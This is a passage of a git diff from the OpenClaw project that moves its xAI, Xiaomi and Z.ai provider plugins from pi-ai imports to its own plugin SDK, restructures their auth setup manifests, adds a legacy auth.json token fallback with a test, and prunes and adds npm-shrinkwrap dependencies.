baseUrl }), - contributeResolvedModelCompat: ({ modelId, model }) => - shouldContributeXaiCompat({ modelId, model }) ? resolveXaiModelCompatPatch() : undefined, normalizeModelId: ({ modelId }) => normalizeXaiModelId(modelId), resolveDynamicModel: (ctx) => resolveXaiForwardCompatModel({ providerId: PROVIDER_ID, ctx }), refreshOAuth: refreshXaiOAuthCredential, diff --git a/extensions/xai/model-id.test.ts b/extensions/xai/model-id.test.ts index fee5820532f..5625542f81b 100644 --- a/extensions/xai/model-id.test.ts +++ b/extensions/xai/model-id.test.ts @@ -11,7 +11,7 @@ describe("normalizeXaiModelId", () => { ); }); - it("maps older fast and 4.20 ids to the current canonical ids", () => { + it("maps older fast and 4.20 ids to the current OpenClaw-backed ids", () => { expect(normalizeXaiModelId("grok-code-fast-1")).toBe("grok-build-0.1"); expect(normalizeXaiModelId("grok-code-fast")).toBe("grok-build-0.1"); expect(normalizeXaiModelId("grok-code-fast-1-0825")).toBe("grok-build-0.1"); diff --git a/extensions/xai/openclaw.plugin.json b/extensions/xai/openclaw.plugin.json index 97ad5176798..fb035e36084 100644 --- a/extensions/xai/openclaw.plugin.json +++ b/extensions/xai/openclaw.plugin.json @@ -32,8 +32,13 @@ } }, "syntheticAuthRefs": ["xai"], - "providerAuthEnvVars": { - "xai": ["XAI_API_KEY"] + "setup": { + "providers": [ + { + "id": "xai", + "envVars": ["XAI_API_KEY"] + } + ] }, "providerAuthChoices": [ { diff --git a/extensions/xai/package.json b/extensions/xai/package.json index c9a96270e79..9d65cb2bba9 100644 --- a/extensions/xai/package.json +++ b/extensions/xai/package.json @@ -5,7 +5,6 @@ "description": "OpenClaw xAI plugin", "type": "module", "dependencies": { - "@earendil-works/pi-ai": "0.75.5", "typebox": "1.1.38" }, "devDependencies": { diff --git a/extensions/xai/stream.test.ts b/extensions/xai/stream.test.ts index e7fa0f9ae62..c3f97036620 100644 --- a/extensions/xai/stream.test.ts +++ b/extensions/xai/stream.test.ts @@ -1,6 +1,5 @@ -import type { StreamFn } from "@earendil-works/pi-agent-core"; -import type { Api, Context, Model } from "@earendil-works/pi-ai"; -import { streamSimpleOpenAIResponses } from "@earendil-works/pi-ai/openai-responses"; +import type { StreamFn } from "openclaw/plugin-sdk/agent-core"; +import { streamSimple, type Api, type Context, type Model } from "openclaw/plugin-sdk/llm"; import { describe, expect, it } from "vitest"; import { applyXaiRuntimeModelCompat } from "./runtime-model-compat.js"; import { @@ -113,7 +112,7 @@ async function captureXaiResponsesPayloadWithThinking(): Promise reject(new Error("provider payload callback was not invoked")), 1_000, ); - const stream = streamSimpleOpenAIResponses( + const stream = streamSimple( model, { messages: [{ role: "user", content: "hello", timestamp: 0 }] }, { @@ -309,7 +308,7 @@ describe("xai stream wrappers", () => { expect(payload).not.toHaveProperty("reasoning_effort"); }); - it("keeps native xAI Responses thinking efforts before pi-ai dispatches payloads", async () => { + it("keeps native xAI Responses thinking efforts before the shared runtime dispatches payloads", async () => { const payload = await captureXaiResponsesPayloadWithThinking(); expect(payload.reasoning).toEqual({ effort: "low", summary: "auto" }); diff --git a/extensions/xai/stream.ts b/extensions/xai/stream.ts index 063b9d9f189..8b47711d066 100644 --- a/extensions/xai/stream.ts +++ b/extensions/xai/stream.ts @@ -1,5 +1,9 @@ -import type { StreamFn } from "@earendil-works/pi-agent-core"; -import { streamSimple } from "@earendil-works/pi-ai"; +import type { StreamFn } from "openclaw/plugin-sdk/agent-core"; +import { + streamSimple, + type AssistantMessage, + type AssistantMessageEvent, +} from "openclaw/plugin-sdk/llm"; import type { ProviderWrapStreamFnContext } from "openclaw/plugin-sdk/plugin-entry"; import { composeProviderStreamWrappers, @@ -14,6 +18,10 @@ const XAI_FAST_MODEL_IDS = new Map([ ["grok-4-0709", "grok-4-fast"], ]); +interface MutableAssistantMessageEventStream extends AsyncIterable { + result: () => Promise; +} + function resolveXaiFastModelId(modelId: unknown): string | undefined { if (typeof modelId !== "string") { return undefined; @@ -299,9 +307,9 @@ function transformXaiStreamEvent( } function wrapStreamMessageObjects( - stream: ReturnType, + stream: MutableAssistantMessageEventStream, transformMessage: (message: unknown) => void, -): ReturnType { +): MutableAssistantMessageEventStream { const originalResult = stream.result.bind(stream); stream.result = async () => { const message = await originalResult(); diff --git a/extensions/xai/test-helpers.ts b/extensions/xai/test-helpers.ts index 790ab0346db..2af0575b64e 100644 --- a/extensions/xai/test-helpers.ts +++ b/extensions/xai/test-helpers.ts @@ -1,5 +1,5 @@ -import type { StreamFn } from "@earendil-works/pi-agent-core"; -import type { Context, Model } from "@earendil-works/pi-ai"; +import type { StreamFn } from "openclaw/plugin-sdk/agent-core"; +import type { Context, Model } from "openclaw/plugin-sdk/llm"; import { expect } from "vitest"; type XaiToolPayloadFunction = { diff --git a/extensions/xai/web-search.test.ts b/extensions/xai/web-search.test.ts index 045c6f5292b..e3e7ddd148e 100644 --- a/extensions/xai/web-search.test.ts +++ b/extensions/xai/web-search.test.ts @@ -1106,7 +1106,7 @@ describe("xai provider models", () => { }); }); - it("publishes the remaining Grok 3 family that Pi still carries", () => { + it("publishes the remaining Grok 3 family in the OpenClaw catalog", () => { expectCatalogEntry("grok-3-mini-fast", { id: "grok-3-mini-fast", reasoning: true, diff --git a/extensions/xai/x-search-tool-shared.ts b/extensions/xai/x-search-tool-shared.ts index f61a31fde7b..e1fe952b008 100644 --- a/extensions/xai/x-search-tool-shared.ts +++ b/extensions/xai/x-search-tool-shared.ts @@ -1,4 +1,4 @@ -import type { AgentToolResult } from "@earendil-works/pi-agent-core"; +import type { AgentToolResult } from "openclaw/plugin-sdk/agent-core"; import { Type } from "typebox"; export function buildMissingXSearchApiKeyPayload() { diff --git a/extensions/xiaomi/index.test.ts b/extensions/xiaomi/index.test.ts index 7efac999b31..1caab44220e 100644 --- a/extensions/xiaomi/index.test.ts +++ b/extensions/xiaomi/index.test.ts @@ -1,6 +1,6 @@ -import type { StreamFn } from "@earendil-works/pi-agent-core"; -import type { Context, Model } from "@earendil-works/pi-ai"; -import { createAssistantMessageEventStream } from "@earendil-works/pi-ai"; +import type { StreamFn } from "openclaw/plugin-sdk/agent-core"; +import type { Context, Model } from "openclaw/plugin-sdk/llm"; +import { createAssistantMessageEventStream } from "openclaw/plugin-sdk/llm"; import { registerSingleProviderPlugin, resolveProviderPluginChoice, diff --git a/extensions/xiaomi/openclaw.plugin.json b/extensions/xiaomi/openclaw.plugin.json index fc6eec5b56a..cb06ddd55d2 100644 --- a/extensions/xiaomi/openclaw.plugin.json +++ b/extensions/xiaomi/openclaw.plugin.json @@ -73,8 +73,13 @@ "contracts": { "speechProviders": ["xiaomi"] }, - "providerAuthEnvVars": { - "xiaomi": ["XIAOMI_API_KEY"] + "setup": { + "providers": [ + { + "id": "xiaomi", + "envVars": ["XIAOMI_API_KEY"] + } + ] }, "providerAuthChoices": [ { diff --git a/extensions/xiaomi/stream.ts b/extensions/xiaomi/stream.ts index 372ee87285c..7373008fa13 100644 --- a/extensions/xiaomi/stream.ts +++ b/extensions/xiaomi/stream.ts @@ -1,4 +1,4 @@ -import type { StreamFn } from "@earendil-works/pi-agent-core"; +import type { StreamFn } from "openclaw/plugin-sdk/agent-core"; import type { ProviderWrapStreamFnContext } from "openclaw/plugin-sdk/plugin-entry"; import { createDeepSeekV4OpenAICompatibleThinkingWrapper, diff --git a/extensions/zai/index.test.ts b/extensions/zai/index.test.ts index a46760be91c..81f02df92c3 100644 --- a/extensions/zai/index.test.ts +++ b/extensions/zai/index.test.ts @@ -1,5 +1,8 @@ -import type { StreamFn } from "@earendil-works/pi-agent-core"; -import type { Context, Model } from "@earendil-works/pi-ai"; +import fs from "node:fs/promises"; +import os from "node:os"; +import path from "node:path"; +import type { StreamFn } from "openclaw/plugin-sdk/agent-core"; +import type { Context, Model } from "openclaw/plugin-sdk/llm"; import { registerSingleProviderPlugin } from "openclaw/plugin-sdk/plugin-test-runtime"; import { buildOpenAICompletionsParams } from "openclaw/plugin-sdk/provider-transport-runtime"; import { describe, expect, it } from "vitest"; @@ -400,4 +403,27 @@ describe("zai provider plugin", () => { } as never), ).toBe(explicit); }); + + it("uses deprecated pi agent auth.json for usage auth when modern sources are empty", async () => { + const home = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-zai-legacy-auth-")); + try { + const authDir = path.join(home, ".pi", "agent"); + await fs.mkdir(authDir, { recursive: true }); + await fs.writeFile( + path.join(authDir, "auth.json"), + `${JSON.stringify({ "z-ai": { access: "legacy-zai-token" } }, null, 2)}\n`, + "utf-8", + ); + const provider = await registerSingleProviderPlugin(plugin); + + await expect( + provider.resolveUsageAuth?.({ + env: { HOME: home }, + resolveApiKeyFromConfigAndStore: () => undefined, + } as never), + ).resolves.toEqual({ token: "legacy-zai-token" }); + } finally { + await fs.rm(home, { recursive: true, force: true }); + } + }); }); diff --git a/extensions/zai/index.ts b/extensions/zai/index.ts index 2876e29617e..526f927c78a 100644 --- a/extensions/zai/index.ts +++ b/extensions/zai/index.ts @@ -1,3 +1,6 @@ +import fs from "node:fs"; +import os from "node:os"; +import path from "node:path"; import { definePluginEntry, type ProviderAuthContext, @@ -26,7 +29,7 @@ import { createToolStreamWrapper, defaultToolStreamExtraParams, } from "openclaw/plugin-sdk/provider-stream-shared"; -import { fetchZaiUsage, resolveLegacyPiAgentAccessToken } from "openclaw/plugin-sdk/provider-usage"; +import { fetchZaiUsage } from "openclaw/plugin-sdk/provider-usage"; import { normalizeLowercaseStringOrEmpty } from "openclaw/plugin-sdk/string-coerce-runtime"; import { detectZaiEndpoint, type ZaiEndpointId } from "./detect.js"; import { zaiMediaUnderstandingProvider } from "./media-understanding-provider.js"; @@ -38,6 +41,34 @@ const GLM5_TEMPLATE_MODEL_ID = "glm-4.7"; const PROFILE_ID = "zai:default"; type UpsertAuthProfileParams = Parameters[0]; +function resolveDeprecatedPiAgentAuthPath(env: NodeJS.ProcessEnv): string { + const home = env.HOME?.trim() || env.USERPROFILE?.trim() || os.homedir(); + return path.join(home, ".pi", "agent", "auth.json"); +} + +function resolveDeprecatedPiAgentAccessToken( + env: NodeJS.ProcessEnv, + providerIds: readonly string[], +): string | undefined { + try { + const authPath = resolveDeprecatedPiAgentAuthPath(env); + if (!fs.existsSync(authPath)) { + return undefined; + } + const parsed = JSON.parse(fs.readFileSync(authPath, "utf-8")) as Record< + string, + { access?: unknown } + >; + for (const providerId of providerIds) { + const token = parsed[providerId]?.access; + if (typeof token === "string" && token.trim()) { + return token; + } + } + } catch {} + return undefined; +} + async function upsertAuthProfileWithLockOrThrow(params: UpsertAuthProfileParams): Promise { const updated = await upsertAuthProfileWithLock(params); if (!updated) { @@ -359,7 +390,7 @@ export default definePluginEntry({ if (apiKey) { return { token: apiKey }; } - const legacyToken = resolveLegacyPiAgentAccessToken(ctx.env, ["z-ai", "zai"]); + const legacyToken = resolveDeprecatedPiAgentAccessToken(ctx.env, ["z-ai", PROVIDER_ID]); return legacyToken ? { token: legacyToken } : null; }, fetchUsageSnapshot: async (ctx) => await fetchZaiUsage(ctx.token, ctx.timeoutMs, ctx.fetchFn), diff --git a/extensions/zai/model-definitions.test.ts b/extensions/zai/model-definitions.test.ts index 41a23ebf4c7..13a76280d5f 100644 --- a/extensions/zai/model-definitions.test.ts +++ b/extensions/zai/model-definitions.test.ts @@ -31,7 +31,7 @@ function expectZaiModelFields(expected: ExpectedZaiModelFields) { } describe("zai model definitions", () => { - it("uses current Pi metadata for the new GLM-5.1 model", () => { + it("uses current OpenClaw metadata for the new GLM-5.1 model", () => { expectZaiModelFields({ id: "glm-5.1", reasoning: true, @@ -42,7 +42,7 @@ describe("zai model definitions", () => { }); }); - it("uses current Pi metadata for the new GLM-5V Turbo model", () => { + it("uses current OpenClaw metadata for the new GLM-5V Turbo model", () => { expectZaiModelFields({ id: "glm-5v-turbo", reasoning: true, @@ -53,7 +53,7 @@ describe("zai model definitions", () => { }); }); - it("uses current Pi metadata for the GLM-5 model", () => { + it("uses current OpenClaw metadata for the GLM-5 model", () => { expectZaiModelFields({ id: "glm-5", reasoning: true, @@ -64,7 +64,7 @@ describe("zai model definitions", () => { }); }); - it("publishes newer GLM 4.5/4.6 family metadata from Pi", () => { + it("publishes newer GLM 4.5/4.6 family metadata from OpenClaw", () => { expectZaiModelFields({ id: "glm-4.6v", input: ["text", "image"], @@ -81,7 +81,7 @@ describe("zai model definitions", () => { }); }); - it("keeps the remaining GLM 4.7/5 pricing and token limits aligned with Pi", () => { + it("keeps the remaining GLM 4.7/5 pricing and token limits aligned with OpenClaw", () => { expectZaiModelFields({ id: "glm-4.7-flash", cost: { input: 0.07, output: 0.4, cacheRead: 0, cacheWrite: 0 }, diff --git a/extensions/zai/openclaw.plugin.json b/extensions/zai/openclaw.plugin.json index c7eb4b15118..38c458bafa3 100644 --- a/extensions/zai/openclaw.plugin.json +++ b/extensions/zai/openclaw.plugin.json @@ -218,6 +218,14 @@ ] } }, + "aliases": { + "z.ai": { + "provider": "zai" + }, + "z-ai": { + "provider": "zai" + } + }, "discovery": { "zai": "static" } diff --git a/npm-shrinkwrap.json b/npm-shrinkwrap.json index 232b2a4e36a..4194955d11d 100644 --- a/npm-shrinkwrap.json +++ b/npm-shrinkwrap.json @@ -11,29 +11,37 @@ "license": "MIT", "dependencies": { "@agentclientprotocol/sdk": "0.22.1", + "@anthropic-ai/sdk": "0.98.0", "@clack/core": "1.3.1", "@clack/prompts": "1.4.0", - "@earendil-works/pi-agent-core": "0.75.5", - "@earendil-works/pi-ai": "0.75.5", - "@earendil-works/pi-coding-agent": "0.75.5", "@earendil-works/pi-tui": "0.75.5", "@google/genai": "2.6.0", "@grammyjs/runner": "2.0.3", "@grammyjs/transformer-throttler": "1.2.1", "@homebridge/ciao": "1.3.8", "@lydell/node-pty": "1.2.0-beta.12", + "@mistralai/mistralai": "2.2.1", "@modelcontextprotocol/sdk": "1.29.0", "@mozilla/readability": "0.6.0", "@openclaw/fs-safe": "0.3.0", "@openclaw/proxyline": "0.3.3", + "@silvia-odwyer/photon-node": "0.3.4", "chalk": "5.6.2", "chokidar": "5.0.0", "commander": "14.0.3", "croner": "10.0.1", + "cross-spawn": "7.0.6", + "diff": "8.0.4", "dotenv": "17.4.2", "express": "5.2.1", "file-type": "22.0.1", + "glob": "13.0.6", "grammy": "1.43.0", + "highlight.js": "10.7.3", + "hosted-git-info": "9.0.3", + "http-proxy-agent": "7.0.2", + "https-proxy-agent": "7.0.6", + "ignore": "7.0.5", "ipaddr.js": "2.4.0", "jiti": "2.7.0", "json5": "2.2.3", @@ -41,10 +49,13 @@ "kysely": "0.29.2", "linkedom": "0.18.12", "markdown-it": "14.1.1", + "minimatch": "10.2.5", "node-edge-tts": "1.2.10", "openai": "6.39.0", + "partial-json": "0.1.7", "pdfjs-dist": "5.7.284", "playwright-core": "1.60.0", + "proper-lockfile": "4.1.2", "qrcode": "1.5.4", "quickjs-wasi": "2.2.0", "rastermill": "0.3.0", @@ -68,6 +79,7 @@ "node": ">=22.19.0" }, "optionalDependencies": { + "sharp": "0.34.5", "sqlite-vec": "0.1.9" } }, @@ -101,412 +113,6 @@ } } }, - "node_modules/@aws-crypto/crc32": { - "version": "5.2.0", - "resolved": "https://registry.npmjs.org/@aws-crypto/crc32/-/crc32-5.2.0.tgz", - "integrity": "sha512-nLbCWqQNgUiwwtFsen1AdzAtvuLRsQS8rYgMuxCrdKf9kOssamGLuPwyTY9wyYblNr9+1XM8v6zoDTPPSIeANg==", - "license": "Apache-2.0", - "dependencies": { - "@aws-crypto/util": "^5.2.0", - "@aws-sdk/types": "^3.222.0", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=16.0.0" - } - }, - "node_modules/@aws-crypto/sha256-browser": { - "version": "5.2.0", - "resolved": "https://registry.npmjs.org/@aws-crypto/sha256-browser/-/sha256-browser-5.2.0.tgz", - "integrity": "sha512-AXfN/lGotSQwu6HNcEsIASo7kWXZ5HYWvfOmSNKDsEqC4OashTp8alTmaz+F7TC2L083SFv5RdB+qU3Vs1kZqw==", - "license": "Apache-2.0", - "dependencies": { - "@aws-crypto/sha256-js": "^5.2.0", - "@aws-crypto/supports-web-crypto": "^5.2.0", - "@aws-crypto/util": "^5.2.0", - "@aws-sdk/types": "^3.222.0", - "@aws-sdk/util-locate-window": "^3.0.0", - "@smithy/util-utf8": "^2.0.0", - "tslib": "^2.6.2" - } - }, - "node_modules/@aws-crypto/sha256-js": { - "version": "5.2.0", - "resolved": "https://registry.npmjs.org/@aws-crypto/sha256-js/-/sha256-js-5.2.0.tgz", - "integrity": "sha512-FFQQyu7edu4ufvIZ+OadFpHHOt+eSTBaYaki44c+akjg7qZg9oOQeLlk77F6tSYqjDAFClrHJk9tMf0HdVyOvA==", - "license": "Apache-2.0", - "dependencies": { - "@aws-crypto/util": "^5.2.0", - "@aws-sdk/types": "^3.222.0", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=16.0.0" - } - }, - "node_modules/@aws-crypto/supports-web-crypto": { - "version": "5.2.0", - "resolved": "https://registry.npmjs.org/@aws-crypto/supports-web-crypto/-/supports-web-crypto-5.2.0.tgz", - "integrity": "sha512-iAvUotm021kM33eCdNfwIN//F77/IADDSs58i+MDaOqFrVjZo9bAal0NK7HurRuWLLpF1iLX7gbWrjHjeo+YFg==", - "license": "Apache-2.0", - "dependencies": { - "tslib": "^2.6.2" - } - }, - "node_modules/@aws-crypto/util": { - "version": "5.2.0", - "resolved": "https://registry.npmjs.org/@aws-crypto/util/-/util-5.2.0.tgz", - "integrity": "sha512-4RkU9EsI6ZpBve5fseQlGNUWKMa1RLPQ1dnjnQoe07ldfIzcsGb5hC5W0Dm7u423KWzawlrpbjXBrXCEv9zazQ==", - "license": "Apache-2.0", - "dependencies": { - "@aws-sdk/types": "^3.222.0", - "@smithy/util-utf8": "^2.0.0", - "tslib": "^2.6.2" - } - }, - "node_modules/@aws-sdk/client-bedrock-runtime": { - "version": "3.1053.0", - "resolved": "https://registry.npmjs.org/@aws-sdk/client-bedrock-runtime/-/client-bedrock-runtime-3.1053.0.tgz", - "integrity": "sha512-I5dua8y1logE+Mx6r5kvI1tjM+XyC3H42KDCpEqmhrJfanor/x/AdOavyv3HnS4sBqUxx2IrjLP3ouEumjeTzA==", - "license": "Apache-2.0", - "dependencies": { - "@aws-crypto/sha256-browser": "5.2.0", - "@aws-crypto/sha256-js": "5.2.0", - "@aws-sdk/core": "^3.974.13", - "@aws-sdk/credential-provider-node": "^3.972.44", - "@aws-sdk/eventstream-handler-node": "^3.972.17", - "@aws-sdk/middleware-eventstream": "^3.972.13", - "@aws-sdk/middleware-websocket": "^3.972.21", - "@aws-sdk/token-providers": "3.1053.0", - "@aws-sdk/types": "^3.973.9", - "@smithy/core": "^3.24.3", - "@smithy/fetch-http-handler": "^5.4.3", - "@smithy/node-http-handler": "^4.7.3", - "@smithy/types": "^4.14.2", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=20.0.0" - } - }, - "node_modules/@aws-sdk/core": { - "version": "3.974.13", - "resolved": "https://registry.npmjs.org/@aws-sdk/core/-/core-3.974.13.tgz", - "integrity": "sha512-+Y5/4tHki0uYgyx8eun146DegRVQBpdKGK5RbV0FTKJPpaKTchvqVxrrRFK6Wk0JksO4iAZKw3eqxGEIwtO98w==", - "license": "Apache-2.0", - "dependencies": { - "@aws-sdk/types": "^3.973.9", - "@aws-sdk/xml-builder": "^3.972.25", - "@aws/lambda-invoke-store": "^0.2.2", - "@smithy/core": "^3.24.3", - "@smithy/signature-v4": "^5.4.2", - "@smithy/types": "^4.14.2", - "bowser": "^2.11.0", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=20.0.0" - } - }, - "node_modules/@aws-sdk/credential-provider-env": { - "version": "3.972.39", - "resolved": "https://registry.npmjs.org/@aws-sdk/credential-provider-env/-/credential-provider-env-3.972.39.tgz", - "integrity": "sha512-29wX9zpAvEt1vcj0psha+y6ygBHy2V/S72mp6e7q0KARLWXq+pwE/lR6qGkwknQvruh52lXvlqZIga8Hdxkucw==", - "license": "Apache-2.0", - "dependencies": { - "@aws-sdk/core": "^3.974.13", - "@aws-sdk/types": "^3.973.9", - "@smithy/core": "^3.24.3", - "@smithy/types": "^4.14.2", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=20.0.0" - } - }, - "node_modules/@aws-sdk/credential-provider-http": { - "version": "3.972.41", - "resolved": "https://registry.npmjs.org/@aws-sdk/credential-provider-http/-/credential-provider-http-3.972.41.tgz", - "integrity": "sha512-IA3CQTjtJkb6u1H4mE4936c8OPBMa9Jggtwe8U2Mqw/vvb/tZ5Ebd0mcZcX0uKWQhOyYo/+qNIwkV5Xh+FeJJA==", - "license": "Apache-2.0", - "dependencies": { - "@aws-sdk/core": "^3.974.13", - "@aws-sdk/types": "^3.973.9", - "@smithy/core": "^3.24.3", - "@smithy/fetch-http-handler": "^5.4.3", - "@smithy/node-http-handler": "^4.7.3", - "@smithy/types": "^4.14.2", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=20.0.0" - } - }, - "node_modules/@aws-sdk/credential-provider-ini": { - "version": "3.972.43", - "resolved": "https://registry.npmjs.org/@aws-sdk/credential-provider-ini/-/credential-provider-ini-3.972.43.tgz", - "integrity": "sha512-4mzII+3mZEVXXE1xzrLQrCJL7/r62A63bA6SVzZoNL5rqCJghpf+xgGltVrIBBs0n+mOZBKrQl2tRREtvZ5l6A==", - "license": "Apache-2.0", - "dependencies": { - "@aws-sdk/core": "^3.974.13", - "@aws-sdk/credential-provider-env": "^3.972.39", - "@aws-sdk/credential-provider-http": "^3.972.41", - "@aws-sdk/credential-provider-login": "^3.972.43", - "@aws-sdk/credential-provider-process": "^3.972.39", - "@aws-sdk/credential-provider-sso": "^3.972.43", - "@aws-sdk/credential-provider-web-identity": "^3.972.43", - "@aws-sdk/nested-clients": "^3.997.11", - "@aws-sdk/types": "^3.973.9", - "@smithy/core": "^3.24.3", - "@smithy/credential-provider-imds": "^4.3.2", - "@smithy/types": "^4.14.2", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=20.0.0" - } - }, - "node_modules/@aws-sdk/credential-provider-login": { - "version": "3.972.43", - "resolved": "https://registry.npmjs.org/@aws-sdk/credential-provider-login/-/credential-provider-login-3.972.43.tgz", - "integrity": "sha512-HG7kQCwXtbv3oBV61Ins0oNX8KKyvrMqqRkb6ZiAfQHbMuHaiNaEb2KnpKLPkNpqImSBK82UkVE/kaY6IfWikA==", - "license": "Apache-2.0", - "dependencies": { - "@aws-sdk/core": "^3.974.13", - "@aws-sdk/nested-clients": "^3.997.11", - "@aws-sdk/types": "^3.973.9", - "@smithy/core": "^3.24.3", - "@smithy/types": "^4.14.2", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=20.0.0" - } - }, - "node_modules/@aws-sdk/credential-provider-node": { - "version": "3.972.44", - "resolved": "https://registry.npmjs.org/@aws-sdk/credential-provider-node/-/credential-provider-node-3.972.44.tgz", - "integrity": "sha512-sDaBIT0yrNNIPfvlsiTCmANm07zKju+ipWODjEXgZlsjMeIJR3LVp7RDyAOzUoAsTbDfYKDWp+i5WrFiQP6rmQ==", - "license": "Apache-2.0", - "dependencies": { - "@aws-sdk/credential-provider-env": "^3.972.39", - "@aws-sdk/credential-provider-http": "^3.972.41", - "@aws-sdk/credential-provider-ini": "^3.972.43", - "@aws-sdk/credential-provider-process": "^3.972.39", - "@aws-sdk/credential-provider-sso": "^3.972.43", - "@aws-sdk/credential-provider-web-identity": "^3.972.43", - "@aws-sdk/types": "^3.973.9", - "@smithy/core": "^3.24.3", - "@smithy/credential-provider-imds": "^4.3.2", - "@smithy/types": "^4.14.2", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=20.0.0" - } - }, - "node_modules/@aws-sdk/credential-provider-process": { - "version": "3.972.39", - "resolved": "https://registry.npmjs.org/@aws-sdk/credential-provider-process/-/credential-provider-process-3.972.39.tgz", - "integrity": "sha512-2k/amBifLd75eXNwgvPw/2lKYSQ3NhvHQgkVKVjfUq13/eJ3JRtHmznuFenn74OK3sSfp4SMy1YB2w+UVXoKqA==", - "license": "Apache-2.0", - "dependencies": { - "@aws-sdk/core": "^3.974.13", - "@aws-sdk/types": "^3.973.9", - "@smithy/core": "^3.24.3", - "@smithy/types": "^4.14.2", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=20.0.0" - } - }, - "node_modules/@aws-sdk/credential-provider-sso": { - "version": "3.972.43", - "resolved": "https://registry.npmjs.org/@aws-sdk/credential-provider-sso/-/credential-provider-sso-3.972.43.tgz", - "integrity": "sha512-LPc3+Y4vhH1T4x6CMqwCM6hk5+SRf/Lwmgm8INm95wxTtIRHcMwQUVkDzWu4Iw/RSncxYM2BC01OrYbxOPZvyg==", - "license": "Apache-2.0", - "dependencies": { - "@aws-sdk/core": "^3.974.13", - "@aws-sdk/nested-clients": "^3.997.11", - "@aws-sdk/token-providers": "3.1052.0", - "@aws-sdk/types": "^3.973.9", - "@smithy/core": "^3.24.3", - "@smithy/types": "^4.14.2", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=20.0.0" - } - }, - "node_modules/@aws-sdk/credential-provider-web-identity": { - "version": "3.972.43", - "resolved": "https://registry.npmjs.org/@aws-sdk/credential-provider-web-identity/-/credential-provider-web-identity-3.972.43.tgz", - "integrity": "sha512-wQtL34lUD/09VXjwAUo2T+I3aEXRDxMB3DKmTJL/Zj0Gi6sLDTrVhae1XVt01yzkquOWajI/sZW72JGDZ1ciTw==", - "license": "Apache-2.0", - "dependencies": { - "@aws-sdk/core": "^3.974.13", - "@aws-sdk/nested-clients": "^3.997.11", - "@aws-sdk/types": "^3.973.9", - "@smithy/core": "^3.24.3", - "@smithy/types": "^4.14.2", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=20.0.0" - } - }, - "node_modules/@aws-sdk/eventstream-handler-node": { - "version": "3.972.17", - "resolved": "https://registry.npmjs.org/@aws-sdk/eventstream-handler-node/-/eventstream-handler-node-3.972.17.tgz", - "integrity": "sha512-WFwdNcjchKZr7jKYgGimUZO8sSKQF/le7GGqgeCzz/lHozInE6b0gFJ1YMr8NaIeAoWJwgtrF7RE4/qMgosAdQ==", - "license": "Apache-2.0", - "dependencies": { - "@aws-sdk/types": "^3.973.9", - "@smithy/core": "^3.24.3", - "@smithy/types": "^4.14.2", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=20.0.0" - } - }, - "node_modules/@aws-sdk/middleware-eventstream": { - "version": "3.972.13", - "resolved": "https://registry.npmjs.org/@aws-sdk/middleware-eventstream/-/middleware-eventstream-3.972.13.tgz", - "integrity": "sha512-ECfsw7mf6G/sxNbKbGE3/h1xeIArY/yRI1IjDGYkLgDIankh+aDOtDRSr40LVlIHGL9+jEH1cVuxmbJ8NLL/1A==", - "license": "Apache-2.0", - "dependencies": { - "@aws-sdk/types": "^3.973.9", - "@smithy/core": "^3.24.3", - "@smithy/types": "^4.14.2", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=20.0.0" - } - }, - "node_modules/@aws-sdk/middleware-websocket": { - "version": "3.972.21", - "resolved": "https://registry.npmjs.org/@aws-sdk/middleware-websocket/-/middleware-websocket-3.972.21.tgz", - "integrity": "sha512-yr+5+C7v9R55sAJ89A55Wrm7wIKPVn5cm6J3Hztnd5s/iwEUKxyJqCnIxJu4fVXgG9XBQD1Jc4rsWC1ozahJjA==", - "license": "Apache-2.0", - "dependencies": { - "@aws-sdk/core": "^3.974.13", - "@aws-sdk/types": "^3.973.9", - "@smithy/core": "^3.24.3", - "@smithy/fetch-http-handler": "^5.4.3", - "@smithy/signature-v4": "^5.4.2", - "@smithy/types": "^4.14.2", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">= 14.0.0" - } - }, - "node_modules/@aws-sdk/nested-clients": { - "version": "3.997.11", - "resolved": "https://registry.npmjs.org/@aws-sdk/nested-clients/-/nested-clients-3.997.11.tgz", - "integrity": "sha512-nWXXJ1r/r8N2Gw1pWolRgED38/A9A8DHR2ETWIv220zh4PZHcybbR4hUVWWktmNXTRHzDJwRluapHn0rZxuoqA==", - "license": "Apache-2.0", - "dependencies": { - "@aws-crypto/sha256-browser": "5.2.0", - "@aws-crypto/sha256-js": "5.2.0", - "@aws-sdk/core": "^3.974.13", - "@aws-sdk/signature-v4-multi-region": "^3.996.28", - "@aws-sdk/types": "^3.973.9", - "@smithy/core": "^3.24.3", - "@smithy/fetch-http-handler": "^5.4.3", - "@smithy/node-http-handler": "^4.7.3", - "@smithy/types": "^4.14.2", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=20.0.0" - } - }, - "node_modules/@aws-sdk/signature-v4-multi-region": { - "version": "3.996.28", - "resolved": "https://registry.npmjs.org/@aws-sdk/signature-v4-multi-region/-/signature-v4-multi-region-3.996.28.tgz", - "integrity": "sha512-qs9z5LqXO/CZC2Lg9SGKpoLU8Rhi+m2pFKZqfO9pytX1clc0katqtsDNupJxFy0xT9wsZSPzM2v1y+/H/zfp5Q==", - "license": "Apache-2.0", - "dependencies": { - "@aws-sdk/types": "^3.973.9", - "@smithy/core": "^3.24.3", - "@smithy/signature-v4": "^5.4.2", - "@smithy/types": "^4.14.2", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=20.0.0" - } - }, - "node_modules/@aws-sdk/token-providers": { - "version": "3.1053.0", - "resolved": "https://registry.npmjs.org/@aws-sdk/token-providers/-/token-providers-3.1053.0.tgz", - "integrity": "sha512-laSwHLYMMrXQRl2mFDXszF43m/F4pKWyGr7hCLfJmV8rn8c6CnI/hp/bf/Gn7gLcjz0SY4evd7SBpqtnIhzA/A==", - "license": "Apache-2.0", - "dependencies": { - "@aws-sdk/core": "^3.974.13", - 